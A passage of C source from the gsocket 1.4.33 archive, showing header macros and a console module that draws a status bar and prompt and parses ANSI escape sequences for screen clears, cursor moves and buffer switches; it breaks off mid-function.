#ifndef XASSERT
# define XASSERT(expr, a...) do { \
if (!(expr)) { \
xfprintf(gopt.err_fp, "%s:%d:%s() ASSERT(%s) ", __FILE__, __LINE__, __func__, #expr); \
xfprintf(gopt.err_fp, a); \
xfprintf(gopt.err_fp, " Exiting...\n"); \
exit(255); \
} \
} while (0)
#endif
#define XCLOSE(fd) do { \
if (fd < 0) { DEBUGF_R("*** WARNING *** CLosing BAD fd\n"); break; } \
DEBUGF_W("Closing fd = %d\n", fd); \
close(fd); \
fd = -1; \
} while (0)
#define XFCLOSE(fp) do { \
if (fp == NULL) { DEBUGF_R("*** WARNING *** Closing BAD fp\n"); break; } \
fclose(fp); \
fp = NULL; \
} while (0)
#define XFD_SET(fd, set) do { \
if (fd < 0) { DEBUGF_R("WARNING: FD_SET(%d, )\n", fd); break; } \
FD_SET(fd, set); \
} while (0)
#ifdef DEBUG
# define HEXDUMP(a, _len) do { \
size_t _n = 0; \
xfprintf(gopt.err_fp, "%s:%d HEX[%zd] ", __FILE__, __LINE__, _len); \
while (_n < (_len)) xfprintf(gopt.err_fp, "%2.2x", ((unsigned char *)a)[_n++]); \
xfprintf(gopt.err_fp, "\n"); \
} while (0)
# define HEXDUMPF(a, len, m...) do{xfprintf(gopt.err_fp, m); HEXDUMP(a, len);}while(0)
#else
# define HEXDUMP(a, len)
# define HEXDUMPF(a, len, m...)
#endif
#endif /* !__GST_COMMON_H__ */
gsocket-1.4.33/tools/console.c 0000664 0000000 0000000 00000117536 14072625040 0016224 0 ustar 00root root 0000000 0000000 /*
* Process console-action (ctrl keys) and console-commands and dispatch
* the action.
*
* Handle drawing of console and command line input.
*
* https://invisible-island.net/xterm/ctlseqs/ctlseqs.html
* http://ascii-table.com/ansi-escape-sequences-vt-100.php
* https://www.andreasen.org/letters/vt100.txt
* https://www.linuxquestions.org/questions/programming-9/get-cursor-position-in-c-947833/
*/
#include "common.h"
#include
#include
#include "pkt_mgr.h"
#include "console.h"
#include "console_display.h"
#include "utils.h"
#define ESCAPE(string) "\033" string
// #define PTY_RESIZE_STR ESCAPE("7") ESCAPE("[r") ESCAPE("[9999;9999H") ESCAPE("[6n")
// #define PTY_RESTORE ESCAPE("8")
// #define PTY_SIZE_STR ESCAPE("[%d;%dR")
#define UIntClr(dst,bits) dst = dst & (unsigned) ~(bits)
#define GS_CONSOLE_PROMPT "#!ADM> "
#define GS_CONSOLE_PROMPT_LEN (sizeof (GS_CONSOLE_PROMPT) - 1) // without \0
// 1 less than max input so that cursor on last pos looks better
#define GS_CONSOLE_INPUT_LEN (gopt.winsize.ws_col - GS_CONSOLE_PROMPT_LEN - 1)
#define GS_CON_SB_MAX_USERLEN 8 // StatusBar Max User Len
static void console_reset(void);
static void console_start(void);
static void console_stop(void);
static int console_command(struct _peer *p, const char *cmd);
static uint8_t chr_last;
static int tty_fd = -1;
static int stdout_fd = -1;
static void console_draw(int fd, int force);
static int is_init_called;
static GS_RL_CTX rl;
static int is_console_welcome_msg;
static int is_console_cursor_needs_reset;
static const char *sb_color = "\x1B[44m\x1B[30m"; // Black on Blue
#define GS_CONSOLE_BUF_SIZE (1024)
#define GS_CONDIS_ROWS (GS_CONSOLE_ROWS - 2)
enum _gs_ut_cursor_flags {
GS_UT_CURSOR_ON = 0x01,
GS_UT_CURSOR_OFF = 0x02
};
enum _gs_ut_cursor_flags ut_cursor;
struct _console_info
{
char statusbar[512];
size_t sb_len;
int is_sb_redraw_needed;
int is_prompt_redraw_needed;
float ping_ms;
uint8_t n_users;
int load;
char user[14];
int sec_idle;
// Bytes Per Second
double last_usec;
int64_t last_pos;
double bps;
double last_bps;
float ft_last_perc;
float ft_perc; // FileTransfer percent completion
};
struct _console_info ci;
GS_CONDIS gs_condis; // ConsoleDisplay
static double
get_usec(void)
{
struct timeval tv;
gettimeofday(&tv, NULL);
return (double)tv.tv_sec * 1000000 + tv.tv_usec;
}
static void
console_init(int fd)
{
if (is_init_called)
return;
// Use YELLOW if TOR (socks) is being used
if (gopt.gs_ctx.socks_ip != 0)
sb_color = "\x1B[43m\x1B[30m"; // Black on Yellow
DEBUGF_R("prompt size %zd\n", GS_CONSOLE_PROMPT_LEN);
is_init_called = 1; // Set also if any of the calls below fail
ci.last_usec = get_usec();
GS_RL_init(&rl, gopt.winsize.ws_col - GS_CONSOLE_PROMPT_LEN);
// GS_RL_init(&rl, 10);
GS_condis_init(&gs_condis, fd, GS_CONDIS_ROWS /* 3*/);
stdout_fd = fd;
// tty_fd = fd; // mad but works 99% if tty fails
char *tty_name = ttyname(fd);
if (tty_name == NULL)
return;
tty_fd = open(tty_name, O_RDWR | O_NOCTTY);
if (tty_fd < 0)
return;
int rv;
struct termios tio;
rv = tcgetattr(tty_fd, &tio);
if (rv != 0)
return;
UIntClr(tio.c_iflag, ICRNL);
UIntClr(tio.c_lflag, (ICANON | ECHO));
tio.c_cflag |= CS8;
tio.c_cc[VMIN] = 6;
tio.c_cc[VTIME] = 1;
rv = tcsetattr(tty_fd, TCSADRAIN, &tio);
if (rv != 0)
return;
}
static ssize_t
tty_write(void *src, size_t len)
{
errno = ENOTTY;
if (tty_fd < 0)
return -1;
errno = 0;
return write(tty_fd, src, len);
}
static int is_cursor_in_console;
// For the upper tier we do not know the coordinates.
// Rely on Saved-cursor position instead.
static void
cursor_to_ut(void)
{
char buf[64];
char *end = buf + sizeof (buf);
char *ptr = buf;
// If Upper Tier disabled the cursor then do NOT show it.
if (ut_cursor == GS_UT_CURSOR_OFF)
SXPRINTF(ptr, end - ptr, "\x1B[?25l");
DEBUGF_C("cursor-restore (cursor_to_upper_tier)\n");
SXPRINTF(ptr, end - ptr, "\x1B""8"); // Restore cursor
tty_write(buf, ptr - buf);
is_cursor_in_console = 0;
}
// For the lower tier we know exactly our cordinates.
static void
cursor_to_lt(void)
{
char buf[64];
char *end = buf + sizeof (buf);
char *ptr = buf;
int row = gopt.winsize.ws_row;
int col = 1 + GS_CONSOLE_PROMPT_LEN + MIN(rl.pos, rl.visible_len);
// DEBUGF_W("Cursor to CONSOLE (Lower Tier) (%d:%df)\n", row, col);
SXPRINTF(ptr, end - ptr, "\x1B[%d;%df", row, col);
// ESC[?2004l = Reset bracketed paste mode
if (is_console_cursor_needs_reset)
{
SXPRINTF(ptr, end - ptr, "\x1B[?2004l");
is_console_cursor_needs_reset = 0;
}
// If Upper Tier disabled the cursor then show it in console
// DEBUGF_R("ut-cursor = %d\n", ut_cursor);
if (ut_cursor == GS_UT_CURSOR_OFF)
SXPRINTF(ptr, end - ptr, "\x1B[?25h");
tty_write(buf, ptr - buf);
is_cursor_in_console = 1;
}
// Add to string and increase visual counter
#define VSADDF(xptr, xend, xv, a...) do{ \
size_t n; \
n = snprintf(xptr, xend-xptr, a); \
xv += n; \
xptr += n; \
} while(0)
static void
mk_statusbar(void)
{
char *ptr = ci.statusbar;
char *end = ptr + sizeof ci.statusbar;
int row = gopt.winsize.ws_row - (GS_CONSOLE_ROWS - 1);
size_t vc = 0; // visible characters
// DEBUGF_C("mk_statusbar() called\n");
SXPRINTF(ptr, end - ptr, "\x1B[%d;1f", row);
SXPRINTF(ptr, end - ptr, "%s", sb_color);
memset(ptr, ':', end - ptr);
float ms = ci.ping_ms;
if (ms >= 1000)
VSADDF(ptr, end, vc, "[%1.01fs ]", ms / 1000);
else
VSADDF(ptr, end, vc, "[%3dms]", (int)ms);
if (ci.load >= 1000)
VSADDF(ptr, end, vc, "[Load %02.02f][User(%u) ", (float)ci.load / 100, ci.n_users);
else
VSADDF(ptr, end, vc, "[Load % 4.02f][User(%u) ", (float)ci.load / 100, ci.n_users);
// User name
VSADDF(ptr, end, vc, "%*s ", GS_CON_SB_MAX_USERLEN, ci.user);
// IDLE timer
if (ci.sec_idle < 100)
{
SXPRINTF(ptr, end - ptr, "\x1b[31m");
VSADDF(ptr, end, vc, "%2d sec", ci.sec_idle);
SXPRINTF(ptr, end - ptr, "\x1B[30m");
}
else if (ci.sec_idle / 60 < 100)
VSADDF(ptr, end, vc, "%2d min", ci.sec_idle / 60);
else
VSADDF(ptr, end, vc, "*idle*");
VSADDF(ptr, end, vc, "]");
// BYTES/sec
char buf[GS_FT_SPEEDSTR_MAXSIZE];
GS_format_bps(buf, sizeof buf, (int64_t)ci.bps, "/s");
VSADDF(ptr, end, vc, "[%s]", buf);
// Percent of FileTransfer completed [99.2%] or [ 0.4%] or [-----]
if (ci.ft_perc <= 0)
{
VSADDF(ptr, end, vc, "[-----]");
} else {
char perc[5];
snprintf(perc, sizeof perc, "%1.1f", ci.ft_perc);
VSADDF(ptr, end, vc, "[%4s%%]", perc);
}
// Fill until end
size_t v_left = gopt.winsize.ws_col - vc;
ptr += v_left + 1;
SXPRINTF(ptr, end - ptr, "\x1B[0m"); // Reset color
ci.sb_len = ptr - ci.statusbar;
ci.is_sb_redraw_needed = 1;
}
static void
update_bps(struct _peer *p)
{
double now_usec;
int64_t cur_pos;
now_usec = get_usec();
cur_pos = p->gs->bytes_read + p->gs->bytes_written;
ci.last_bps = ci.bps;
if (now_usec == ci.last_usec)
ci.bps = 0;
else
ci.bps = (cur_pos - ci.last_pos) * 1000000 / (now_usec - ci.last_usec);
// Slowly adjust BPS to make it appear less jumpy
ci.bps = ci.last_bps + (ci.bps - ci.last_bps) * 0.8;
if (ci.bps < 50)
ci.bps = 0;
ci.last_usec = now_usec;
ci.last_pos = cur_pos;
if (ci.last_bps != ci.bps)
ci.is_sb_redraw_needed += 1;
// Percentage of File Transfer
ci.ft_last_perc = ci.ft_perc;
GS_FT *ft = &p->ft;
GS_FT_stats *s = &ft->stats;
if (s->xfer_amount_scheduled == 0)
ci.ft_perc = 0;
else {
float f = ((float)(s->xfer_amount * 100)/ s->xfer_amount_scheduled);
ci.ft_perc = MIN(f, 99.9);
}
if (ci.ft_last_perc != ci.ft_perc)
ci.is_sb_redraw_needed += 1;
}
void
CONSOLE_update_pinginfo(struct _peer *p, float ms, int load, char *user, int sec_idle, uint8_t n_users)
{
int fd = p->fd_out;
ci.ping_ms = ms;
ci.load = load;
ci.n_users = n_users;
if (strlen(user) > GS_CON_SB_MAX_USERLEN)
memcpy(user + GS_CON_SB_MAX_USERLEN - 2, "..", 3);
snprintf(ci.user, sizeof ci.user, "%s", user);
ci.sec_idle = sec_idle;
mk_statusbar();
console_draw(fd, 0);
}
/*
* Called when the window size changed (sigwinch)
*/
void
CONSOLE_resize(struct _peer *p)
{
char buf[128];
char *ptr = buf;
char *end = buf + sizeof buf;
int delta;
DEBUGF_R("RESIZE to %d;%d\n", gopt.winsize.ws_col, gopt.winsize.ws_row);
if (gopt.is_console)
{
delta = gopt.winsize.ws_row - gopt.winsize_prev.ws_row;
if (delta > 0)
{
// Longer:
// Assign scrolling area. Will reset cursor to 1;1
SXPRINTF(ptr, end - ptr, "\x1b[1;%dr", gopt.winsize.ws_row - GS_CONSOLE_ROWS);
// Restore cursor to upper tier
SXPRINTF(ptr, end - ptr, "\x1B""8");
// Clear screen
SXPRINTF(ptr, end - ptr, "\x1B[J");
}
if (delta < 0)
{
// Shorter:
DEBUGF_R("Shorter. ScrollingArea to %d\n", gopt.winsize.ws_row - GS_CONSOLE_ROWS);
if (is_cursor_in_console)
{
DEBUGF_R("cursor is IN console\n");
SXPRINTF(ptr, end - ptr, "\x1B""8""\x1B[J");
SXPRINTF(ptr, end - ptr, "\x1B[%dA", 0-delta);
SXPRINTF(ptr, end - ptr, "\x1B""7");
SXPRINTF(ptr, end - ptr, "\x1b[1;%dr", gopt.winsize.ws_row - GS_CONSOLE_ROWS);
SXPRINTF(ptr, end - ptr, "\x1B""8");
} else {
DEBUGF_R("cursor is UPPER TIER\n");
SXPRINTF(ptr, end - ptr, "\x1B[%dS", 0-delta);
SXPRINTF(ptr, end - ptr, "\x1b[1;%dr", gopt.winsize.ws_row - GS_CONSOLE_ROWS);
SXPRINTF(ptr, end - ptr, "\x1B""8""\x1B[%dA", 0-delta);
}
}
// do nothing if idendical (no change)
tty_write(buf, ptr - buf);
}
GS_condis_pos(&gs_condis, (gopt.winsize.ws_row - GS_CONSOLE_ROWS) + 1 + 1, gopt.winsize.ws_col);
GS_RL_resize(&rl, GS_CONSOLE_INPUT_LEN, gopt.winsize.ws_row /*last row*/, 1 + GS_CONSOLE_PROMPT_LEN);
mk_statusbar();
console_draw(p->fd_out, 1);
}
void
CONSOLE_update_bps(struct _peer *p)
{
update_bps(p);
if (gopt.is_console == 0)
return;
// Only redraw if there was a change
if (ci.is_sb_redraw_needed)
{
mk_statusbar();
console_draw(p->fd_out, 0);
}
}
/*
* status bar (sb) is drawn (Normally black on blue background).
*/
static void
GS_sb_draw(int force)
{
if ((force == 0) && (ci.is_sb_redraw_needed == 0))
return;
ci.is_sb_redraw_needed = 0;
tty_write(ci.statusbar, ci.sb_len);
}
static void
GS_prompt_draw(int force)
{
char buf[512];
char *ptr = buf;;
char *end = buf + sizeof buf;
if ((force == 0) && (ci.is_prompt_redraw_needed == 0))
return;
ci.is_prompt_redraw_needed = 0;
ptr = buf;
SXPRINTF(ptr, end - ptr, "\x1B[%d;1f" GS_CONSOLE_PROMPT "%s", gopt.winsize.ws_row /*last*/, rl.vline);
tty_write(buf, ptr - buf);
}
/*
* Position active cursor to user input in console
*/
static void
GS_prompt_cursor(void)
{
char buf[64];
char *ptr = buf;
char *end = buf + sizeof buf;
SXPRINTF(ptr, end - ptr, "\x1B[%d;%zuf", gopt.winsize.ws_row /*last*/, 1 + GS_CONSOLE_PROMPT_LEN + MIN(rl.pos, rl.visible_len));
tty_write(buf, ptr - buf);
}
void
CONSOLE_draw(int fd)
{
console_draw(fd, 0);
}
static void
console_draw(int fd, int force)
{
if (gopt.is_console == 0)
return;
int redraw_needed = 0;
redraw_needed += ci.is_sb_redraw_needed;
redraw_needed += gs_condis.is_redraw_needed;
redraw_needed += ci.is_prompt_redraw_needed;
// DEBUGF_W("CONSOLE DRAW (force=%d, redraw_needed=%d, cursor-in-console=%d)\n", force, redraw_needed, is_cursor_in_console);
if ((force == 0) && (redraw_needed == 0))
{
// DEBUGF("nothing to draw..\n");
return;
}
if (is_cursor_in_console == 0)
{
// DEBUGF_G("saving cursor (draw)\n");
tty_write("\x1B""7", 2); // Save position (upper tier)
}
// Status Bar (Normally black on blue)
GS_sb_draw(force);
// Log messages
GS_condis_draw(&gs_condis, force);
// Prompt
GS_prompt_draw(force);
// Restore cursor position
if (is_cursor_in_console == 0)
{
tty_write("\x1B""8", 2); // Restore position (upper tier)
// DEBUGF_G("C restored...(draw)\n");
} else {
// if (redraw_needed)
GS_prompt_cursor();
}
}
/*
* Up-Arrow ^[OA or ^[[A
* Return 0 if more data is needed.
* Return 1 otherwise (set *esc if arrow received)
*/
static int ca_last;
static int
check_arrow(int *esc, uint8_t c)
{
*esc = 0;
if ((c == 0x1b) && (ca_last == 0))
{
ca_last = c;
return 0; // more data needed
}
// Not inside ^[ sequence (0x1b)
if (ca_last == 0)
return 1;
if (ca_last == 0x1b)
{
if ((c == 'O') || (c == '['))
{
ca_last = '[';
return 0;
}
ca_last = 0;
return 0; // unknonw escape (?)
}
if (ca_last == '[')
{
*esc = 1;
ca_last = 0;
return 1;
}
return 1;
}
/*
* Check for any Ctrl+E in user input.
*
* 1. any == submit=any. Send submit. Return -1
* 2. ^E + E == submit=^E . Send submit. Return -1
* 3. ^E == do not submit. Return 0
* 4. ^E + == do not submit. Open console. Return 'c'
* 5. ^E + ^E == submit=^E . Send ^E + ^E. Return -2
* == behavior non-screen like:
* 6. ^E + == submit=other. Send ^E + submit. Return -2
* ==> behavior screen like (see *#1* below)
* 6. ^E + == do not submit. Return 0
*
* Return 0 : Caller not to process received character (more data required).
* Return -1: Caller to process character in *submit
* Return -2: not used.
* Return >0: Escaped character.
*/
int
CONSOLE_check_esc(uint8_t c, uint8_t *submit)
{
int esc;
// DEBUGF_Y("key = 0x%02x\n", c);
if (chr_last == GS_CONSOLE_ESC)
{
if (check_arrow(&esc, c) == 0)
return 0; // More data required
chr_last = c;
switch (c)
{
case 'A': // UP
if (esc == 0)
break;
if (gopt.is_console == 0)
return 0; // Ignore if no console
DEBUGF_G("^E-UP received. Calling cursor_to_ut()\n");
cursor_to_ut();
return 0;
case 'B': // DOWN
if (esc == 0)
break;
if (gopt.is_console == 0)
return 0; // Ignore if no console
// Arrow Down
cursor_to_lt();
return 0;
case GS_CONSOLE_ESC_CHR:
case GS_CONSOLE_ESC_LCHR:
DEBUGF_Y("esc-chr (last=0x%02x, this=0x%02x)\n", GS_CONSOLE_ESC, c);
*submit = GS_CONSOLE_ESC;
return -1;
case GS_CONSOLE_ESC: // ^E + ^E
DEBUGF_Y("esc\n");
*submit = GS_CONSOLE_ESC;
chr_last = 0; // reset or ^E+^E+any wont work
return -1;
}
return c; // screen-like (*#1*)
// Not reached (non-screen behavior)
// *submit = c;
// return -2;
}
chr_last = c;
if (c == GS_CONSOLE_ESC)
return 0;
*submit = c;
return -1;
}
void
CONSOLE_reset(void)
{
char buf[1024];
char *ptr = buf;
char *end = buf + sizeof (buf);
if (tty_fd < 0)
return;
DEBUGF_R("Resetting scolling area (rows %d)\n", gopt.winsize.ws_row);
if (gopt.is_console)
{
ptr = buf;
// Reset scrolling area. Will set cursor to 1;1.
// SXPRINTF(ptr, end - ptr, "\x1B[r");
SXPRINTF(ptr, end - ptr, "\x1b[1;%dr", gopt.winsize.ws_row);
/* Move cursor to last line */
SXPRINTF(ptr, end - ptr, "\x1B[9999;9999H");
/* Restore cursor */
if (write(stdout_fd, buf, ptr - buf) != ptr - buf)
ERREXIT("write()\n");
}
close(tty_fd);
tty_fd = -1;
}
struct _pat
{
char *data;
size_t len;
int type;
};
static struct _pat cls_pattern[] = {
{"\x1B[0J", 4, 1}, // Clear screen from cursor down
{"\x1B[J", 3, 1}, // Clear screen from cursor down
{"\x1B[2J", 4, 1}, // Clear entire screen
{"\x1B""c", 2, 4} // Reset terminal to initial state
};
static struct _pat sb_pattern[] = {
{"\x1B[?1049h", 8, 2}, // Switch Alternate Screen Buffer (clears screen)
{"\x1B[?1049l", 8, 3} // Switch Normal Screen Buffer (clears screen)
};
/*
* Parse output and check for a any terminal escape sequence that clears
* the screen.
*
* FIXME-PERFORMANCE: Could substitute [J and [2J and [0J with code
* that goes to last line, then clears line '[K' and then scrools up
* x line to clear the screen. That way the console would not need
* to be re-drawn on every 'clear screen' by the app.
*
* Return 0 if not found.
* cls_code = 1 => Clear screen
* cls_code = 2 => Switched to screen buffer
* cls_code = 3 => Switched to normal buffer
*
* amount => Amount of data save to process (remaining is part of an
* unfinished ansi sequence).
*/
// Parse through the ansi sequence until it is finished.
// Return length of ansi sequence or 0 if more data is required (ansi sequence hasnt finished yet)
static size_t
ansi_until_end(uint8_t *src, size_t src_sz, int *ignore)
{
uint8_t *src_end = src + src_sz;
uint8_t *src_orig = src;
// Must start with ^[
XASSERT(*src == '\x1b', "src not starting with 0x1B (0x02%c)\n", *src);
src += 1;
*ignore = 0;
while (src < src_end)
{
if (*src == '\x1B')
{
// Huh? An ESC inside an ESC sequence?
*ignore = 1;
return src - src_orig;
}
if (src > src_orig + 16)
{
// ESC sequence is to long. We are not interested....
*ignore = 1;
return src - src_orig;
}
// Check for 2 octet ESC sequence that does not end in A-Za-z
if (src_orig + 1 == src)
{
switch (*src)
{
case '8':
case '7':
case '>':
case '<':
case '=':
case '\\':
src++;
return src - src_orig;
}
}
// Check if this is the end of an ansi sequence
if ((*src >= 'a') && (*src <= 'z'))
{
src++;
return src - src_orig;
}
if ((*src >= 'A') && (*src <= 'Z'))
{
src++;
return src - src_orig;
}
src++;
}
return 0; // Not enough data // src - src_orig;
}
static size_t
ansi_until_esc(uint8_t *src, size_t src_sz, int *in_esc)
{
uint8_t *src_end = src + src_sz;
uint8_t *src_orig = src;
while (src < src_end)
{
if (*src == '\x1B')
{
*in_esc = 1;
// DEBUGF("at pos %zd=0x%02x\n", src - src_orig, *src);
break;
}
src++;
}
return src - src_orig;
}
static int in_esc;
// Parse 'src' for an ansi sequence that we might be interested in.
// *tail_len contains a number of bytes if there is an incomplete ansi-sequence (and we
// do not have enough data yet)
//
// Return: Length of data in dst.
static void
ansi_parse(uint8_t *src, size_t src_sz, GS_BUF *dst, size_t *tail_len, int *cls_code, int *sb_code)
{
uint8_t *src_end = src + src_sz;
size_t len;
int ignore;
*tail_len = 0;
while (src < src_end)
{
if (in_esc)
{
len = ansi_until_end(src, src_end - src, &ignore);
// DEBUGF("esc len=%zd, ignore=%d, dst=%zd, left=%zd\n", len, ignore, GS_BUF_USED(dst), src_end - src);
if (len == 0)
{
// Not enough data
DEBUGF_R("Not Enough Data. TAIL %zd\n", src_end - src);
DEBUGF("esc len=%zd, ignore=%d, dst=%zd, left=%zd\n", len, ignore, GS_BUF_USED(dst), src_end - src);
HEXDUMP(src, src_end - src);
*tail_len = src_end - src;
return; //break;
}
in_esc = 0;
#ifdef DEBUG
// Output some ANSI but ignore some often re-occuring codes:
while (1)
{
// if (len <= 4)
// break; // Ignore short ones...like [1m
if ((len == 8) && (src[7] == 'm'))
break; // Ingore [39;49m to debug 'top'
if ((len == 5) && (src[4] == 'm'))
break; // Ingore [39m to debug 'mc'
if ((len == 4) && (src[3] == 'm'))
break; // Ingore [1m to debug
DEBUGF_B("ANSI %.*s\n", (int)len -1, src+1);
break;
}
#endif
if (ignore)
{
GS_BUF_add_data(dst, src, len);
src += len;
continue;
}
int is_substitute = 0;
// Check if the Upper Tier (ut) wants the cursor prompt ON or OFF
// Check for this even if the console is closed so that when we open the console
// that the right cursor can be displayed
is_substitute = 0;
while (len == 6)
{
if (memcmp(src + 1, "[?25l", 5) == 0)
ut_cursor = GS_UT_CURSOR_OFF; // OFF
else if (memcmp(src + 1, "[?25h", 5) == 0)
ut_cursor = GS_UT_CURSOR_ON; // ON
else
break;
// DEBUGF_R("ut_cursor=%d, in-console=%d\n", ut_cursor, is_cursor_in_console);
// If cursor is in console then ignore all requests
if (is_cursor_in_console)
{
is_substitute = 1;
src += len;
break;
}
break;
}
if (is_substitute)
continue;
// Check for Bracketed paste mode [?2004l
if (len == 8)
{
if (memcmp(src + 1, "[?2004l", 7) == 0)
is_console_cursor_needs_reset = 0;
else if (memcmp(src + 1, "[?2004h", 7) == 0)
is_console_cursor_needs_reset = 1;
}
// If console is not open then we do not have to check any other ansi symboles
if (gopt.is_console == 0)
{
GS_BUF_add_data(dst, src, len);
src += len;
continue;
}
// Replace [2J (clear entire screen) with move to last line. Clear Line. Clear from cursor up
if ((len == 4) && (memcmp(src + 1, "[2J", 3) == 0))
{
// Move to last line. [K => Clear until end of line. [1J => Clear up]]
GS_BUF_printf(dst, "\x1b[%d;1f\x1b[K\x1b[1J", gopt.winsize.ws_row - GS_CONSOLE_ROWS);
src += len;
continue;
}
// [J = Clear from cursor down
// I dont have a solution how to do this more efficient beside re-drawing entire console :/
// or the need to track the cursor position or request the position from the terminal.
// If the cursor position is known (as cordinated) then it's easy: Set up new scrolling area.
// Use [S (scroll up n lines) to scroll black.
// Reset scrolling area to original.
// if ((len == 3) && (memcmp(src + 1, "[J", 2) == 0))
// {
// src += len;
// continue;
// }
if ((len == 3) && memcmp(src + 1, "[r", 2) == 0)
{
DEBUGF_R("Scrolling area reset received.\n");
if (gopt.is_console)
{
GS_BUF_printf(dst, "\x1B[1;%dr", gopt.winsize.ws_row - GS_CONSOLE_ROWS);
src += len;
continue;
}
}
// Check if this was a cursor-position request that moved the course
// outside its boundary (and into our console, like debian's top does (!))
// '\x1b' + '[1;1h'
is_substitute = 0;
while (1)
{
if (len < 6)
break;
// DEBUGF_W("len %d\n", len);
if ((src[len-1] != 'H') && (src[len-1] != 'h'))
break;
// search for ';' between src+2 and src+len
uint8_t *ptr = src+2;
for (ptr = src + 2; ptr < src+len; ptr++)
{
if (*ptr == ';')
break;
}
if (*ptr != ';')
break;
int row = atoi((char *)src+2);
int col = atoi((char *)ptr+1);
// DEBUGF_W("pos %d:%d\n", row, col);
if (row > gopt.winsize.ws_row - GS_CONSOLE_ROWS)
{
DEBUGF_R("CURSOR MOVE outside area DENIED. Changed to: %d;%d\n", gopt.winsize.ws_row - GS_CONSOLE_ROWS, col);
GS_BUF_printf(dst, "\x1B[%d;%dH\r\n", gopt.winsize.ws_row - GS_CONSOLE_ROWS, col);
src += len;
is_substitute = 1;
}
break;
}
if (is_substitute)
continue;
// Check for any ANSI sequence that may have cleared the screen:
int i;
for (i = 0; i < sizeof cls_pattern / sizeof *cls_pattern; i++)
{
if (cls_pattern[i].len != len)
continue;
if (memcmp(cls_pattern[i].data, src, len) != 0)
continue;
DEBUGF_W("CLS found %d\n", cls_pattern[i].type);
*cls_code = cls_pattern[i].type;
}
// Check for any ANSI sequence that changed Screen Buffer
for (i = 0; i < sizeof sb_pattern / sizeof *sb_pattern; i++)
{
if (sb_pattern[i].len != len)
continue;
if (memcmp(sb_pattern[i].data, src, len) != 0)
continue;
// Handle if we receive [?1049h + [?1049l in one go then do nothing.
if (*sb_code == 0)
{
*sb_code = sb_pattern[i].type;
} else {
if (*sb_code != sb_pattern[i].type)
*sb_code = 0;
else
*sb_code = sb_pattern[i].type;
}
DEBUGF_W("SB change found (%d), sb_code set to %d\n", sb_pattern[i].type, *sb_code);
}
// We are not interested to substitute it. Let it pass through.
GS_BUF_add_data(dst, src, len);
src += len;
} else {
// DEBUGF_Y("#%zd not in esc\n", src - src_orig);
len = ansi_until_esc(src, src_end - src, &in_esc);
GS_BUF_add_data(dst, src, len);
src += len; // *src points to ESC or is done.
}
}
}
GS_BUF g_dst;
GS_BUF g_ansi;
/*
* Buffered write to ansi terminal. All output to terminal needs to be analyzed
* and checked for 'clear screen' ansi code. If found then the console needs
* to be re-drawn as well.
*
* Also need to find a good place to inject ansi sequence to move cursor
* to upper tier (if in console).
*
* We do this by buffering the output and to only write complete ansi sequences
* and never an incomplete sequences (as it would then not be possible to issue
* another ESC sequence to move the cursor).
*
* - Find a good place to inject to move cursor from console to upper tier
* - If half way inside an ansi sequence then buffer the remaining
* - Also return if an ansi sequence was sent that clears the screen
*/
// Parse ANSI:
// 1. Find any ansi sequence that clears the screen (so we know when to draw our console again)
// 2. Substitute ESC-sequences with our own to stop console from getting fucked.
// 3. If the ESC-sequence stops half way then write *dst and record
// the remaining sequence (if we have that much space)
static ssize_t
ansi_write(int fd, void *src, size_t src_len, int *cls_code, int *sb_code)
{
// size_t amount = 0;
size_t tail_len = 0;
size_t src_len_orig = src_len;
if (!GS_BUF_IS_INIT(&g_dst))
{
GS_BUF_init(&g_dst, 1024);
GS_BUF_init(&g_ansi, 1024);
}
if (GS_BUF_USED(&g_ansi) > 0)
{
GS_BUF_add_data(&g_ansi, src, src_len);
src = GS_BUF_DATA(&g_ansi);
src_len = GS_BUF_USED(&g_ansi);
}
// HEXDUMP(src, src_len);
ansi_parse(src, src_len, &g_dst, &tail_len, cls_code, sb_code);
if (GS_BUF_USED(&g_dst) > 0)
{
if (write(fd, GS_BUF_DATA(&g_dst), GS_BUF_USED(&g_dst)) != GS_BUF_USED(&g_dst))
{
DEBUGF_R("Failed to write() all data...\n"); // SHOULD NOT HAPPEN
return -1;
}
}
GS_BUF_empty(&g_dst);
GS_BUF_empty(&g_ansi);
if (tail_len > 0)
{
// Use memmove() here because src might be pointing to same data but further along
GS_BUF_memmove(&g_ansi, src + src_len - tail_len, tail_len);
}
// From the caller's perspective this function has processed all data
// and this function will buffer (if needed) any data not yet passed
// to 'write()'. Thus return 'len' here to satisfy caller that all supplied
// data is or will be processed.
return src_len_orig;
}
static int is_console_before_sb; // before Alternate Screen Buffer
/*
* Parse all output and check if the screen is cleared. If so then
* redraw the console (if console is active)
*
* Situation to think about:
* - console is visible
* - top switches to frame buffer (console is visible)
* - console is turned off
* - top exits.
* -> Still need to parse all output to check when we switch back to normal
* buffer. The console was VISIBILE before we entered 'top' and now
* need to be diabled after exiting 'top'.
* Midnight commander:
* - console is visible
* - launch mc. mc does not use Screen Buffer (t should!) but instead remembers
* the max screen size.
* - while in mc, turn the console off. Then exit mc.
* - mc will set the scroll area as when the console was visibile (but it aint
* anymore).
*
* FIXME unsolved nested console problem:
* - Both consoles fight to use ^[7 to save the cursor position:
* Start outter gs-netcat. Open console. Move cursor to (outter) Upper Tier.
*
* Start another gs-netcat (inner from within outter). Open console. Sends [7 to save
* (*1) cursor position from (inner) Upper Tier. Both consoles are not open (inner & outter).
*
* Outter updates its StatusBar (every second): It sends a [7 to save cursor position
* from its Upper Tier.
* That [7 request will overwrite the [7 that was sent under (*1) and will now store the position
* of the cursor from inners console prompt. When the inner wants to move cursor its upper tier
* it will send a [8 but that will move the cursor to its own prompt and not to its upper tier.
*
* - Workaround: Always leave cursor in up-most tier. Use a 'fake' cursor for the console
* (like '_', [7m) and if cursor is supposed to be in the console then make it invisible
* in upper tier (but move it back to upper tier [while invisilbe] as soon as console
* update is completed).
* The tricky parts are two:
* 1. The outter does not know if the inner has the cursor in the console or its Upper Tier.
* What should happen if ESC-e UP is pressed in outter tier? Cursor ON or OFF?
* -> Could be solved by inner sending an 'in-band' custom ESC-sequence to outter that outter
* intercepts (or if there is no outter but xterm, then ignored by xterm).
* 2. The inner does not know when to disable its own fake-cursor (e.g. when outter presses ESC-e DOWN)
* to move from its (outter) Upper Tier to (outter) console.
* There is no signal send to the inner that its cursor should be disabled because the outter
* moved it into its own console.
*/
ssize_t
CONSOLE_write(int fd, void *data, size_t len)
{
int is_detected_clearscreen = 0;
int is_sb_detected = 0;
/* Move cursor to upper tier if cursor inside console */
if (is_cursor_in_console)
{
// DEBUGF_C("CURSOR-restore\n");
if (ut_cursor == GS_UT_CURSOR_OFF)
